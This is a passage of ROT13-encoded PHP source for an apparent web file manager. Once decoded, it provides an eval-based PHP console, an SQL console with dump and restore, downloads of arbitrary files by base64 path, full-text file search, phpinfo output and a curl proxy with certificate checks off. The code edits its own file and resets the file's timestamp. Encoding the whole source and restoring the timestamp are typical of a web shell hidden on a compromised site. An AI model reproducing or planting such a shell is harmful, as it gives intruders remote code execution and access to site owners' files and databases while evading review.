		$erf.='<bcgvba inyhr="'.$o.'" '.($fry && $fry==$o?'fryrpgrq':'').'>'.$o.'</bcgvba>';
	}
	erghea $erf;
}

shapgvba sz_ynat_sbez ($pheerag='ra'){
erghea '
<sbez anzr="punatr_ynat" zrgubq="cbfg" npgvba="">
	<fryrpg anzr="sz_ynat" gvgyr="'.__('Ynathntr').'" bapunatr="qbphzrag.sbezf[\'punatr_ynat\'].fhozvg()" >
		<bcgvba inyhr="ra" '.($pheerag=='ra'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ratyvfu').'</bcgvba>
		<bcgvba inyhr="qr" '.($pheerag=='qr'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Trezna').'</bcgvba>
		<bcgvba inyhr="eh" '.($pheerag=='eh'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ehffvna').'</bcgvba>
		<bcgvba inyhr="se" '.($pheerag=='se'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Serapu').'</bcgvba>
		<bcgvba inyhr="hx" '.($pheerag=='hx'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Hxenvavna').'</bcgvba>
	</fryrpg>
</sbez>
';
}
	
shapgvba sz_ebbg($qveanzr){
	erghea ($qveanzr=='.' BE $qveanzr=='..');
}

shapgvba sz_cuc($fgevat){
	$qvfcynl_reebef=vav_trg('qvfcynl_reebef');
	vav_frg('qvfcynl_reebef', '1');
	bo_fgneg();
	riny(gevz($fgevat));
	$grkg = bo_trg_pbagragf();
	bo_raq_pyrna();
	vav_frg('qvfcynl_reebef', $qvfcynl_reebef);
	erghea $grkg;
}

//FUBJ QNGNONFRF
shapgvba sz_fdy_pbaarpg(){
	tybony $sz_pbasvt;
	erghea arj zlfdyv($sz_pbasvt['fdy_freire'], $sz_pbasvt['fdy_hfreanzr'], $sz_pbasvt['fdy_cnffjbeq'], $sz_pbasvt['fdy_qo']);
}

shapgvba sz_fdy($dhrel){
	tybony $sz_pbasvt;
	$dhrel=gevz($dhrel);
	bo_fgneg();
	$pbaarpgvba = sz_fdy_pbaarpg();
	vs ($pbaarpgvba->pbaarpg_reebe) {
		bo_raq_pyrna();	
		erghea $pbaarpgvba->pbaarpg_reebe;
	}
	$pbaarpgvba->frg_punefrg('hgs8');
    $dhrevrq = zlfdyv_dhrel($pbaarpgvba,$dhrel);
	vs ($dhrevrq===snyfr) {
		bo_raq_pyrna();	
		erghea zlfdyv_reebe($pbaarpgvba);
    } ryfr {
		vs(!rzcgl($dhrevrq)){
			juvyr($ebj = zlfdyv_srgpu_nffbp($dhrevrq)) {
				$dhrel_erfhyg[]=  $ebj;
			}
		}
		$iqhzc=rzcgl($dhrel_erfhyg)?'':ine_rkcbeg($dhrel_erfhyg,gehr);	
		bo_raq_pyrna();	
		$pbaarpgvba->pybfr();
		erghea '<cer>'.fgevcfynfurf($iqhzc).'</cer>';
	}
}

shapgvba sz_onpxhc_gnoyrf($gnoyrf = '*', $shyy_onpxhc = gehr) {
	tybony $cngu;
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
	vs($gnoyrf == '*')	{
		$gnoyrf = neenl();
		$erfhyg = $zlfdyqo->dhrel('FUBJ GNOYRF');
		juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg))	{
			$gnoyrf[] = $ebj[0];
		}
	} ryfr {
		$gnoyrf = vf_neenl($gnoyrf) ? $gnoyrf : rkcybqr(',',$gnoyrf);
	}
    
	$erghea='';
	sbernpu($gnoyrf nf $gnoyr)	{
		$erfhyg = $zlfdyqo->dhrel('FRYRPG * SEBZ '.$gnoyr);
		$ahz_svryqf = zlfdyv_ahz_svryqf($erfhyg);
		$erghea.= 'QEBC GNOYR VS RKVFGF `'.$gnoyr.'`'.$qryvzvgre;
		$ebj2 = zlfdyv_srgpu_ebj($zlfdyqo->dhrel('FUBJ PERNGR GNOYR '.$gnoyr));
		$erghea.=$ebj2[1].$qryvzvgre;
        vs ($shyy_onpxhc) {
		sbe ($v = 0; $v < $ahz_svryqf; $v++)  {
			juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg)) {
				$erghea.= 'VAFREG VAGB `'.$gnoyr.'` INYHRF(';
				sbe($w=0; $w<$ahz_svryqf; $w++)	{
					$ebj[$w] = nqqfynfurf($ebj[$w]);
					$ebj[$w] = fge_ercynpr("\a","\\a",$ebj[$w]);
					vs (vffrg($ebj[$w])) { $erghea.= '"'.$ebj[$w].'"' ; } ryfr { $erghea.= '""'; }
					vs ($w<($ahz_svryqf-1)) { $erghea.= ','; }
				}
				$erghea.= ')'.$qryvzvgre;
			}
		  }
		} ryfr { 
		$erghea = cert_ercynpr("#NHGB_VAPERZRAG=[\q]+ #vf", '', $erghea);
		}
		$erghea.="\a\a\a";
	}

	//fnir svyr
    $svyr=tzqngr("L-z-q_U-v-f",gvzr()).'.fdy';
	$unaqyr = sbcra($svyr,'j+');
	sjevgr($unaqyr,$erghea);
	spybfr($unaqyr);
	$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'?qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    erghea $svyr.': '.sz_yvax('qbjaybnq',$cngu.$svyr,__('Qbjaybnq'),__('Qbjaybnq').' '.$svyr).' <n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
}

shapgvba sz_erfgber_gnoyrf($fdySvyrGbRkrphgr) {
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
    // Ybnq naq rkcybqr gur fdy svyr
    $s = sbcra($fdySvyrGbRkrphgr,"e+");
    $fdySvyr = sernq($s,svyrfvmr($fdySvyrGbRkrphgr));
    $fdyNeenl = rkcybqr($qryvzvgre,$fdySvyr);
	
    //Cebprff gur fdy svyr ol fgngrzragf
    sbernpu ($fdyNeenl nf $fgzg) {
        vs (fgeyra($fgzg)>3){
			$erfhyg = $zlfdyqo->dhrel($fgzg);
				vs (!$erfhyg){
					$fdyReebePbqr = zlfdyv_reeab($zlfdyqo->pbaarpgvba);
					$fdyReebeGrkg = zlfdyv_reebe($zlfdyqo->pbaarpgvba);
					$fdyFgzg      = $fgzg;
					oernx;
           	     }
           	  }
           }
vs (rzcgl($fdyReebePbqr)) erghea __('Fhpprff').' — '.$fdySvyrGbRkrphgr;
ryfr erghea $fdyReebeGrkg.'<oe/>'.$fgzg;
}

shapgvba sz_vzt_yvax($svyranzr){
	erghea './'.onfranzr(__SVYR__).'?vzt='.onfr64_rapbqr($svyranzr);
}

shapgvba sz_ubzr_fglyr(){
	erghea '
vachg, vachg.sz_vachg {
	grkg-vaqrag: 2ck;
}

vachg, grkgnern, fryrpg, vachg.sz_vachg {
	pbybe: oynpx;
	sbag: abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	obeqre-pbybe: oynpx;
	onpxtebhaq-pbybe: #SPSPSP abar !vzcbegnag;
	obeqre-enqvhf: 0;
	cnqqvat: 2ck;
}

vachg.sz_vachg {
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.ubzr {
	onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNtEDGSES/s396Bwb////gG02me+sj66Egw432GRc3ZKR2QNe3GLc1l4zgQj2/7OZ/7OBdIcp/8y31wpdd6rajpUO2Gtv5wtdIcoSien2aONI/Cm82F0wak0J3GHxdFtv4rUu4Gfer4jbfm026hCwmTLq6Hf3laNlqHON5Xy3sz5rdMnJ7BQtv2It+Cw4hL+RjYz5oL9H//7wsYgP+gBX3wpz/71h2wLb1HLu5nWy/frP3wRz12xzWeVN1wZz/9nH4Yu0r01OyVnR///quZqP7VN//sGM2p3ZJ6aA30js95Iq4WqKbKIbf8aR4rsA/+63VWtFaLuy7S4pfKg89TDHjY+/wy1p41Nd+so2tzgV1eXn2P4xWnVN3wLeyGj5gw423wLa3pKR1mDbkZUOc1yM3Qtzdvxf/+zpwYX83wLxlzZI3GLx//UZ+h7Juzge0bqGcnBwsJWseUct/8Of/7gJ/7Ir+4H52QZz3ZYOa4dYtAIZ6ZmO3yRsyVhY/+wN///20YBmwKk8/7yoJcWT2P8x3GbfWXZN1ljwbcBE1mLc5Qfcvnl+lXAudXFx8AJ6/swaf7Bm2gaMhm887o+J3nEL/+zf4ePR3Gbg7I85oXkwhRN3j45Iu5hud6nz4pSktMMJ/9dVhjtXl0fJ+hwG4GDagm423P8v3mHw/+Xj/n5q6HZkhY6jmQRe////pdWDsNNNNXk0Hx5G////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////NNJISoRNNNNMqRILqSAiMaE3LKWyNRSxo2WyVRygLJqyHzIuMUyklJH8NNNN2HyRDIDbH2ALwDLLfNvR8H9LmQLwIcTMEkZvRPvgZeIMibZeGyD2RFEDW2SIjvaLozdGHYbbuaR1t1nXTF/sAZgx40lM9XIYDutLxhL7AkDiKlUISAaXmE69dckOCZrm0RGNDlGHiFbtnVSnCpAdI/Z5qun2Ey2Gvzo6M+DOQL1KA/Foh8kSYT3rYQsy2HNOwvyB1b012M3rx1yMIVJNNzHGX6Y0f3cK+ww6chM2NjJHiOEncufjZqHhwPvjQjn5IRqCV7laHyp7i1dLHEYdhs42um45POCQgjNPez+EQpkWLNNNNNOWEH5RexWttt==");
	onpxtebhaq-ercrng: ab-ercrng;
}';
}

shapgvba sz_pbasvt_purpxobk_ebj($anzr,$inyhr) {
	tybony $sz_pbasvt;
	erghea '<ge><gq pynff="ebj1"><vachg vq="sz_pbasvt_'.$inyhr.'" anzr="sz_pbasvt['.$inyhr.']" inyhr="1" '.(rzcgl($sz_pbasvt[$inyhr])?'':'purpxrq="gehr"').' glcr="purpxobk"></gq><gq pynff="ebj2 jubyr"><ynory sbe="sz_pbasvt_'.$inyhr.'">'.$anzr.'</gq></ge>';
}

shapgvba sz_cebgbpby() {
	vs (vffrg($_FREIRE['UGGC_FPURZR'])) erghea $_FREIRE['UGGC_FPURZR'].'://';
	vs (vffrg($_FREIRE['UGGCF']) && $_FREIRE['UGGCF'] == 'ba') erghea 'uggcf://';
	vs (vffrg($_FREIRE['FREIRE_CBEG']) && $_FREIRE['FREIRE_CBEG'] == 443) erghea 'uggcf://';
	vs (vffrg($_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB']) && $_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB'] == 'uggcf') erghea 'uggcf://';
	erghea 'uggc://';
}

shapgvba sz_fvgr_hey() {
	erghea sz_cebgbpby().$_FREIRE['UGGC_UBFG'];
}

shapgvba sz_hey($shyy=snyfr) {
	$ubfg=$shyy?sz_fvgr_hey():'.';
	erghea $ubfg.'/'.onfranzr(__SVYR__);
}

shapgvba sz_ubzr($shyy=snyfr){
	erghea '&aofc;<n uers="'.sz_hey($shyy).'" gvgyr="'.__('Ubzr').'"><fcna pynff="ubzr">&aofc;&aofc;&aofc;&aofc;</fcna></n>';
}

shapgvba sz_eha_vachg($yat) {
	tybony $sz_pbasvt;
	$erghea = !rzcgl($sz_pbasvt['ranoyr_'.$yat.'_pbafbyr']) ? 
	'
				<sbez  zrgubq="cbfg" npgvba="'.sz_hey().'" fglyr="qvfcynl:vayvar">
				<vachg glcr="fhozvg" anzr="'.$yat.'eha" inyhr="'.fgegbhccre($yat).' '.__('Pbafbyr').'">
				</sbez>
' : '';
	erghea $erghea;
}

shapgvba sz_hey_cebkl($zngpurf) {
	$yvax = fge_ercynpr('&nzc;','&',$zngpurf[2]);
	$hey = vffrg($_TRG['hey'])?$_TRG['hey']:'';
	$cnefr_hey = cnefr_hey($hey);
	$ubfg = $cnefr_hey['fpurzr'].'://'.$cnefr_hey['ubfg'].'/';
	vs (fhofge($yvax,0,2)=='//') {
		$yvax = fhofge_ercynpr($yvax,sz_cebgbpby(),0,2);
	} ryfrvs (fhofge($yvax,0,1)=='/') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,1);	
	} ryfrvs (fhofge($yvax,0,2)=='./') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,2);	
	} ryfrvs (fhofge($yvax,0,4)=='uggc') {
		//nyyrf znpura jhaqrefpuba
	} ryfr {
		$yvax = $ubfg.$yvax;
	} 
	vs ($zngpurf[1]=='uers' && !fgeevcbf($yvax, 'pff')) {
		$onfr = sz_fvgr_hey().'/'.onfranzr(__SVYR__);
		$onfrd = $onfr.'?cebkl=gehr&hey=';
		$yvax = $onfrd.heyrapbqr($yvax);
	} ryfrvs (fgeevcbf($yvax, 'pff')){
		//как-то тоже подменять надо
	}
	erghea $zngpurf[1].'="'.$yvax.'"';
}
 
shapgvba sz_gcy_sbez($yat_gcy) {
	tybony ${$yat_gcy.'_grzcyngrf'};
	$gcy_nee = wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr);
	$fge = '';
	sbernpu ($gcy_nee nf $xgcy=>$igcy) {
		$fge .= '<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_anzr[]" inyhr="'.$xgcy.'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_inyhr[]"  pbyf="55" ebjf="5" pynff="grkgnern_vachg">'.$igcy.'</grkgnern> <vachg anzr="qry_'.enaq().'" glcr="ohggba" baPyvpx="guvf.cneragAbqr.cneragAbqr.erzbir();" inyhr="'.__('Qryrgr').'"/></gq></ge>';
	}
erghea '
<gnoyr>
<ge><gu pbyfcna="2">'.fgegbhccre($yat_gcy).' '.__('grzcyngrf').' '.sz_eha_vachg($yat_gcy).'</gu></ge>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1">'.__('Anzr').'</gq><gq pynff="ebj2 jubyr">'.__('Inyhr').'</gq></ge>
'.$fge.'
<ge><gq pbyfcna="2" pynff="ebj3"><vachg anzr="erf" glcr="ohggba" baPyvpx="qbphzrag.ybpngvba.uers = \''.sz_hey().'?sz_frggvatf=gehr\';" inyhr="'.__('Erfrg').'"/> <vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_arj_anzr" inyhr="" cynprubyqre="'.__('Arj').' '.__('Anzr').'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_arj_inyhr"  pbyf="55" ebjf="5" pynff="grkgnern_vachg" cynprubyqre="'.__('Arj').' '.__('Inyhr').'"></grkgnern></gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Nqq').'" ></gq></ge>
</sbez>
</gnoyr>
';
}

shapgvba svaq_grkg_va_svyrf($qve, $znfx, $grkg) {
    $erfhygf = neenl();
    vs ($unaqyr = bcraqve($qve)) {
        juvyr (snyfr !== ($ragel = ernqqve($unaqyr))) {
            vs ($ragel != "." && $ragel != "..") {
                $cngu = $qve . "/" . $ragel;
                vs (vf_qve($cngu)) {
                    $erfhygf = neenl_zretr($erfhygf, svaq_grkg_va_svyrf($cngu, $znfx, $grkg));
                } ryfr {
                    vs (sazngpu($znfx, $ragel)) {
                        $pbagragf = svyr_trg_pbagragf($cngu);
                        vs (fgecbf($pbagragf, $grkg) !== snyfr) {
                            $erfhygf[] = fge_ercynpr('//', '/', $cngu);
                        }
                    }
                }
            }
        }
        pybfrqve($unaqyr);
    }
    erghea $erfhygf;
}


/* Raq Shapgvbaf */

// nhgubevmngvba
vs ($nhgu['nhgubevmr']) {
	vs (vffrg($_CBFG['ybtva']) && vffrg($_CBFG['cnffjbeq'])){
		vs (($_CBFG['ybtva']==$nhgu['ybtva']) && ($_CBFG['cnffjbeq']==$nhgu['cnffjbeq'])) {
			frgpbbxvr($nhgu['pbbxvr_anzr'], $nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
			$_PBBXVR[$nhgu['pbbxvr_anzr']]=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']);
		}
	}
	vs (!vffrg($_PBBXVR[$nhgu['pbbxvr_anzr']]) BE ($_PBBXVR[$nhgu['pbbxvr_anzr']]!=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']))) {
		rpub '
<!qbpglcr ugzy>
<ugzy>
<urnq>
<zrgn punefrg="hgs-8" />
<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
<gvgyr>'.__('Svyr znantrek').'</gvgyr>
</urnq>
<obql>
<sbez npgvba="" zrgubq="cbfg">
'.__('Ybtva').' <vachg anzr="ybtva" glcr="grkg">&aofc;&aofc;&aofc;
'.__('Cnffjbeq').' <vachg anzr="cnffjbeq" glcr="cnffjbeq">&aofc;&aofc;&aofc;
<vachg glcr="fhozvg" inyhr="'.__('Ragre').'" pynff="sz_vachg">
</sbez>
'.sz_ynat_sbez($ynathntr).'
</obql>
</ugzy>
';  
qvr();
	}
	vs (vffrg($_CBFG['dhvg'])) {
		hafrg($_PBBXVR[$nhgu['pbbxvr_anzr']]);
		frgpbbxvr($nhgu['pbbxvr_anzr'], '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_fvgr_hey().$_FREIRE['ERDHRFG_HEV']);
	}
}

// Punatr pbasvt
vs (vffrg($_TRG['sz_frggvatf'])) {
	vs (vffrg($_TRG['sz_pbasvt_qryrgr'])) { 
		hafrg($_PBBXVR['sz_pbasvt']);
		frgpbbxvr('sz_pbasvt', '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_hey().'?sz_frggvatf=gehr');
		rkvg(0);
	}	ryfrvs (vffrg($_CBFG['sz_pbasvt'])) { 
		$sz_pbasvt = $_CBFG['sz_pbasvt'];
		frgpbbxvr('sz_pbasvt', frevnyvmr($sz_pbasvt), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
		$_PBBXVR['sz_pbasvt'] = frevnyvmr($sz_pbasvt);
		$zft = __('Frggvatf').' '.__('qbar');
	}	ryfrvs (vffrg($_CBFG['sz_ybtva'])) { 
		vs (rzcgl($_CBFG['sz_ybtva']['nhgubevmr'])) $_CBFG['sz_ybtva'] = neenl('nhgubevmr' => '0') + $_CBFG['sz_ybtva'];
		$sz_ybtva = wfba_rapbqr($_CBFG['sz_ybtva']);
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#nhgubevmngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_ybtva,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
				vs ($_CBFG['sz_ybtva']['ybtva'] != $nhgu['ybtva']) $zft .= ' '.__('Ybtva').': '.$_CBFG['sz_ybtva']['ybtva'];
				vs ($_CBFG['sz_ybtva']['cnffjbeq'] != $nhgu['cnffjbeq']) $zft .= ' '.__('Cnffjbeq').': '.$_CBFG['sz_ybtva']['cnffjbeq'];
				$nhgu = $_CBFG['sz_ybtva'];
			}
			ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}
	} ryfrvs (vffrg($_CBFG['gcy_rqvgrq'])) { 
		$yat_gcy = $_CBFG['gcy_rqvgrq'];
		vs (!rzcgl($_CBFG[$yat_gcy.'_anzr'])) {
			$sz_cuc = wfba_rapbqr(neenl_pbzovar($_CBFG[$yat_gcy.'_anzr'],$_CBFG[$yat_gcy.'_inyhr']),WFBA_URK_NCBF);
		} ryfrvs (!rzcgl($_CBFG[$yat_gcy.'_arj_anzr'])) {
			$sz_cuc = wfba_rapbqr(wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr)+neenl($_CBFG[$yat_gcy.'_arj_anzr']=>$_CBFG[$yat_gcy.'_arj_inyhr']),WFBA_URK_NCBF);
		}
		vs (!rzcgl($sz_cuc)) {
			$stp = svyr_trg_pbagragf(__SVYR__);
			$frnepu = cert_zngpu('#'.$yat_gcy.'_grzcyngrf[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
			vs (!rzcgl($zngpurf[1])) {
				$svyrzgvzr = svyrzgvzr(__SVYR__);
				$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_cuc,$stp);
				vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
					${$yat_gcy.'_grzcyngrf'} = $sz_cuc;
					$zft .= __('Svyr hcqngrq');
				} ryfr $zft .= __('Reebe bppheerq');
				vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
			}	
		} ryfr $zft .= __('Reebe bppheerq');
	}
}

// Whfg fubj vzntr
vs (vffrg($_TRG['vzt'])) {
	$svyr=onfr64_qrpbqr($_TRG['vzt']);
	vs ($vasb=trgvzntrfvmr($svyr)){
		fjvgpu  ($vasb[2]){	//1=TVS, 2=WCT, 3=CAT, 4=FJS, 5=CFQ, 6=OZC
			pnfr 1: $rkg='tvs'; oernx;
			pnfr 2: $rkg='wcrt'; oernx;
			pnfr 3: $rkg='cat'; oernx;
			pnfr 6: $rkg='ozc'; oernx;
			qrsnhyg: qvr();
		}
		urnqre("Pbagrag-glcr: vzntr/$rkg");
		rpub svyr_trg_pbagragf($svyr);
		qvr();
	}
}

// Whfg qbjaybnq svyr
vs (vffrg($_TRG['qbjaybnq'])) {
	$svyr=onfr64_qrpbqr($_TRG['qbjaybnq']);
	sz_qbjaybnq($svyr);	
}

// Whfg fubj vasb
vs (vffrg($_TRG['cucvasb'])) {
	cucvasb(); 
	qvr();
}

// Zvav cebkl, znal ohtf!
vs (vffrg($_TRG['cebkl']) && (!rzcgl($sz_pbasvt['ranoyr_cebkl']))) {
	$hey = vffrg($_TRG['hey'])?heyqrpbqr($_TRG['hey']):'';
	$cebkl_sbez = '
<qvi fglyr="cbfvgvba:eryngvir;m-vaqrk:100500;onpxtebhaq: yvarne-tenqvrag(gb obggbz, #r4s5sp 0%,#osr8s9 50%,#9sq8rs 51%,#2no0rq 100%);">
	<sbez npgvba="" zrgubq="TRG">
	<vachg glcr="uvqqra" anzr="cebkl" inyhr="gehr">
	'.sz_ubzr().' <n uers="'.$hey.'" gnetrg="_oynax">Hey</n>: <vachg glcr="grkg" anzr="hey" inyhr="'.$hey.'" fvmr="55">
	<vachg glcr="fhozvg" inyhr="'.__('Fubj').'" pynff="sz_vachg">
	</sbez>
</qvi>
';
	vs ($hey) {
		$pu = phey_vavg($hey);
		phey_frgbcg($pu, PHEYBCG_HFRENTRAG, 'Qra1kkk grfg cebkl');
		phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG,0);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE,0);
		phey_frgbcg($pu, PHEYBCG_URNQRE, 0);
		phey_frgbcg($pu, PHEYBCG_ERSRERE, $hey);
		phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE,gehr);
		$erfhyg = phey_rkrp($pu);
		phey_pybfr($pu);
		//$erfhyg = cert_ercynpr('#(fep)=["\'][uggc://]?([^:]*)["\']#Hv', '\\1="'.$hey.'/\\2"', $erfhyg);
		$erfhyg = cert_ercynpr_pnyyonpx('#(uers|fep)=["\'][uggc://]?([^:]*)["\']#Hv', 'sz_hey_cebkl', $erfhyg);
		$erfhyg = cert_ercynpr('%(<obql.*?>)%v', '$1'.'<fglyr>'.sz_ubzr_fglyr().'</fglyr>'.$cebkl_sbez, $erfhyg);
		rpub $erfhyg;
		qvr();
	} 
}
?>
<!qbpglcr ugzy>
<ugzy>
<urnq>     
	<zrgn punefrg="hgs-8" />
	<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
    <gvgyr><?=__('Svyr znantre')?></gvgyr>
<fglyr>
obql {
	onpxtebhaq-pbybe:	juvgr;
	sbag-snzvyl:		Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	sbag-fvmr:			8cg;
	znetva:				0ck;
}

n:yvax, n:npgvir, n:ivfvgrq { pbybe: #006699; grkg-qrpbengvba: abar; }
n:ubire { pbybe: #QQ6900; grkg-qrpbengvba: haqreyvar; }
n.gu:yvax { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:npgvir { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ivfvgrq { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ubire {  pbybe: #SSN34S; grkg-qrpbengvba: haqreyvar; }

gnoyr.ot {
	onpxtebhaq-pbybe: #NPOOP6
}

gu, gq { 
	sbag:	abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	cnqqvat: 3ck;
}

gu	{
	urvtug:				25ck;
	onpxtebhaq-pbybe:	#006699;
	pbybe:				#SSN34S;
	sbag-jrvtug:		obyq;
	sbag-fvmr:			11ck;
}

.ebj1 {
	onpxtebhaq-pbybe:	#RSRSRS;
}

.ebj2 {
	onpxtebhaq-pbybe:	#QRR3R7;
}

.ebj3 {
	onpxtebhaq-pbybe:	#Q1Q7QP;
	cnqqvat: 5ck;
}

ge.ebj1:ubire {
	onpxtebhaq-pbybe:	#S3SPSP;
}

ge.ebj2:ubire {
	onpxtebhaq-pbybe:	#S0S6S6;
}

.jubyr {
	jvqgu: 100%;
}

.nyy gobql gq:svefg-puvyq{jvqgu:100%;}

grkgnern {
	sbag: 9cg 'Pbhevre Arj', pbhevre;
	yvar-urvtug: 125%;
	cnqqvat: 5ck;
}

.grkgnern_vachg {
	urvtug: 1rz;
}

.grkgnern_vachg:sbphf {
	urvtug: nhgb;
}

vachg[glcr=fhozvg]{
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.sbyqre {
    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNLNNNNs8/9uNNNXG2yQD1ODnT90o3Abo3NtFHAQVUOlo2McoTHNNUwnaIAaISCcSw333iEPF4vNyRgiHuHVVSWPv4NHxFLdVDxDFbtubqxIHpREEHHRT8vtvNBBwbPZSIRfQVbX2NsxVnXBt6BVvfe74Khwn9n89+oA/eKKChrf852mmjsNPNlJFQAEALNZdHVrRrPQk8GT4rDhDVRXWUNNRNvmMPSm/FZONCu+CQjeVfNUitNOrAZYPNQNGMiNZOlU/j/dDcypNLPRNpO0xGuYPVNHNRO6wxXzNROTNLPqzPMGNXNRNTQYL2YwNSNgNTNas+oGNVPq+Wy7NDOoyPRINnPENPNGMLuRNTt7NXmCIbcSNStjNOEzF8D5NAtgNQOWI2MVNYP3NZQBRNhlNNtZNQOEvVHcNNE7NTQVVlA4NVFMNOET8yp88FhhRBpdNNO4zoV8hFD5ELSoPP1kO1qKYu4bmxxKXkD2LDWuzxNhjazMTGXOAN/t88jNNXPESEUtt/C9rZ4Bef7BAb62Qy8g6e8T/lWvLhC+5p+epRNNNBS0sgU+YP+mTbN7ObOg/dVy7tEbKthtqsrYMeVCDYHNbBanI/Aj+U48CRJuxYaM2rKx5AuXkRWoLpcKss5ajy/NI/1f+K48/Cs14Y7vWVRlKLSUOCwtjfm0GXHpm5VWuTYp5b9U/YpY//jq0lYRFJX5JPbH41RFpL5RzbmmZdHvvHXFXpHy0i9x4g8f+jZ+3mHNfTb+NKhEYnuqLjC2FlpDJUGN4ipNNCX7o8UHXNtQtTvQ4p93/+8//HrtWDPNMxzFpDNNKxDxYyGXfm/UPNNNEXPOXeOOT/GOTPmNOumOOqmOP/ktAbEPWZGPDuOPPzFNUUWtXnlPDvvTmoNqXzNi1RNqAZOEnVnGpN4hjyJ4Qw1jQ/cuPW7OXYlOPDEOlNtGLFUnvNSvvytwwttKzLK4VpSVOOXYWPQWvOEEVxhEAHtkHbcHVSIVUsV9ptV5u1kThcR7lNNltilTiRpkyVTlHG3HQYIQhnt3TbETbtiDMUDkzb8JbWiDpeDnCLj2brsDd2tC2b8+D8pjjBtLOmCRoQNhkfAPfGtfPMAwl7RveNlekudjIdjQh4a1L8+kqjDFtHKNPGLRq0VtLE5OFSuZJR7LFXttUPD0RqbWAjxQuSUPWlXGdRh0WebE+pDLLwVku1uVYPCJRb8GYkO7vRCRAlDFvHZlW7zDNxzkcSGFRgWT0z5FV+xfdMf0FObwx8anMThlOmzHYPNelVKxarGQ5QCxT+Du8yfXaJWNpnG4H+VbHfcdFuayRBH05DMyzQWOInBnHg2bbIDEAL9nDd2ugyXiHLrbRmE1zwaAtkMWF6JgbcKGTztKnCqce+u0huUqyE5By9OK0ficE+vK6NC0qjjAuuJQk4uaXOzoTNpLMky3TX+LGXLM04fMk1DjAmUezBrMQ5yiIItdgvc8SMUXPcIXyFnITlbiIXzdcderdtgI81KYIV+